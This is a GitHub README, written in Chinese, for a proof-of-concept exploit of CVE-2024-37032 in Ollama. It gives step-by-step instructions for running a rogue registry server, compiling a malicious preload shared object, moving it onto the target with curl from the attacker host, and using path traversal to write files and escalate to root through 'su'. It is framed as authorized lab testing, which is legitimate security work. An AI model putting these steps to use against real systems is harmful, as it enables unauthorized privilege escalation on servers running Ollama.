itzSh4dowxZ/CVE-2024-37032-PoC
GitHub: itzSh4dowxZ/CVE-2024-37032-PoC
这是一个针对CVE-2024-37032漏洞的概念验证工具,演示Ollama中的路径遍历和任意文件写入问题。
Stars: 8 | Forks: 0
# CVE-2024-37032 概念验证
此仓库包含一个用于授权实验室测试的概念验证 FastAPI 注册表服务器、连接器脚本和预加载演示库。
请仅在您拥有或被明确授权测试的系统上使用此工具。
## 文件说明
- `server.py`:启动 FastAPI PoC 服务器。
- `rogue_server/config.py`:PoC 服务器的中央配置文件。
- `connector.py`:向目标 Ollama API 发送 pull/push 请求。
- `preload_privs_demo.c`:共享对象 payload 的 C 语言源代码。
- `requirements.txt`:PoC 服务器所需的 Python 依赖项。
## 1. 安装服务器依赖
在您的主机上安装 Python 依赖项:
```
python -m pip install -r requirements.txt
```
## 2. 配置主机与端口
在您的主机上编辑 `rogue_server/config.py`:
```
HOST = ""
```
编辑 `connector.py`:
```
SERVER_HOST = ""
TARGET_HOST = "127.0.0.1"
TARGET_PORT = 11434
```
注意事项:
- `SERVER_HOST` 必须指向运行 `server.py` 的主机。
- 如果 PoC 服务器运行在 `8000` 端口,则需要在 `HOST` 和 `SERVER_HOST` 中都包含该端口,例如 `10.10.16.160:8000`。
- `TARGET_HOST` 和 `TARGET_PORT` 必须指向目标 Ollama API。如果 `connector.py` 直接在目标机器上运行,通常应为 `127.0.0.1:11434`。
- 如果修改了 `rogue_server/config.py`,请重启 PoC 服务器。
## 3. 编译共享对象
编译 C 文件,并将输出命名为 `libpreload_privs_demo.so`:
```
gcc -shared -fPIC -o libpreload_privs_demo.so preload_privs_demo.c
```
## 4. 传输文件至目标
将以下文件复制到授权的目标机器上:
- `libpreload_privs_demo.so`
- `connector.py`
一个简单的方法是从您的主机提供文件服务:
```
python3 -m http.server 8081
```
然后从目标机器下载:
```
curl -O http://:8081/libpreload_privs_demo.so
curl -O http://:8081/connector.py
```
下载共享对象后,复制其在目标机器上的绝对路径,并将此路径设置为 `rogue_server/config.py` 中的 `exploit_path`(在主机上)。
示例:
```
exploit_path = "/tmp/libpreload_privs_demo.so"
```
## 5. 启动 PoC 服务器
在您的主机上启动 FastAPI 服务器:
```
python server.py
```
默认情况下,此项目会在 `0.0.0.0:8000` 上启动 Uvicorn。
## 6. 运行连接器
在授权的目标机器上,运行:
```
python3 connector.py
```
连接器将向配置的 Ollama API 发送 pull 和 push 请求。
## 7. 验证结果
连接器执行完毕后,运行:
```
su
```
在配置正确且存在漏洞的实验室目标上,应能观察到预加载路径被使用以及权限转换的过程。
## 故障排除
- 确认主机防火墙允许 PoC 服务器端口和临时文件服务器端口的通信。
- 确认 `connector.py` 中的 `SERVER_HOST` 与 `rogue_server/config.py` 中的 `HOST` 相匹配。
- 确认 `exploit_path` 是 `libpreload_privs_demo.so` 在目标机器上存在的确切绝对路径。
- 确认目标 Ollama API 在 `TARGET_HOST:TARGET_PORT` 可达。
- 在修改 `rogue_server/config.py` 后,重启 `server.py`。
标签:API接口, AV绕过, CVE-2024-37032, FastAPI, LLM评估, Ollama, Probllama, 任意文件写入, 共享对象, 安全测试, 实验室测试, 恶意服务器, 攻击性安全, 概念验证, 模型处理, 网络安全, 网络安全审计, 路径遍历, 连接器脚本, 逆向工具, 隐私保护, 预加载